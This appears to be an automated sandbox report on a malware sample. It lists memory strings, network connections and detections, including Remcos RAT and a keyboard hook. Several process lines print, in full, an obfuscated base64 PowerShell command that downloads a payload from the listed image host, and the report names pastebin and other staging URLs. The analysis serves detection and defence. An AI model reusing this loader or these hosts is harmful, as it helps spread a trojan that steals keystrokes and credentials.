Source: wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comF
Source: wscript.exe, 00000000.00000002.1866551280.000001C3F5F8C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863180766.000001C3F5F8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comMicrosoft
Source: wscript.exe, 00000000.00000003.1863180766.000001C3F5F8C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/
Source: wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/_J-
Source: wscript.exe, 0000000B.00000003.2500368226.0000000004A60000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2514719688.0000000004A63000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2500231000.0000000004A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/KiV
Source: wscript.exe, 0000000B.00000003.2485015419.0000000004A5B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2496676071.0000000005053000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515249754.00000000058D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2500231000.0000000004A5B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2486858229.0000000004A5B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2508473121.000000000279E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2488334670.000000000279E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2487806750.0000000004A5B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2486858229.0000000004A3B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2500423077.0000000004A5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/KiVfSXMq
Source: wscript.exe, 0000000B.00000002.2508473121.000000000279E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2488334670.000000000279E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/KiVfSXMq(
Source: wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/KiVfSXMqB
Source: wscript.exe, 0000000B.00000003.2486858229.0000000004A5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2487931840.0000000004A5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2485015419.0000000004A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/KiVy
Source: wscript.exe, 0000000C.00000003.2510118820.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2510251662.0000000004F6F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2515804100.0000000004F72000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2510320972.0000000004F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/eEY
Source: wscript.exe, 0000000C.00000003.2493728855.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2489300119.0000000004F3F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2486802582.0000000004F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2516344229.0000000005788000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2506338319.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2489442883.0000000004F4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2493350153.0000000004F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2514758690.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2509233169.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2510118820.0000000004F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/eEY9exCe
Source: wscript.exe, 0000000C.00000003.2493728855.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2514758690.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2509233169.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/eEY9exCerY
Source: wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/eEY9exCeu
Source: wscript.exe, 0000000C.00000003.2493350153.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2487222391.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2489442883.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/eEYi
Source: wscript.exe, 00000000.00000002.1866517354.000001C3F5F61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/zQdp8jhj
Source: wscript.exe, 00000000.00000002.1866453647.000001C3F5F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/zQdp8jhjJ
Source: wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/v
Source: powershell.exe, 00000013.00000002.3197838373.0000000008B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://staygeraldine.nz
Source: powershell.exe, 00000013.00000002.3197838373.0000000008B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://staygeraldine.nz/cs/reccc.txt
Source: powershell.exe, 00000013.00000002.2685682373.0000000005472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2684643914.0000000004B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br
Source: powershell.exe, 00000014.00000002.2684643914.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.45:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.184.154.65:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.45:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.45:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.184.154.65:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.184.154.65:443 -> 192.168.2.4:49755 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7864, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3632, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1220, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 8762
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 8738
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 8774
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 8762	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 8738	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 8774	Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgB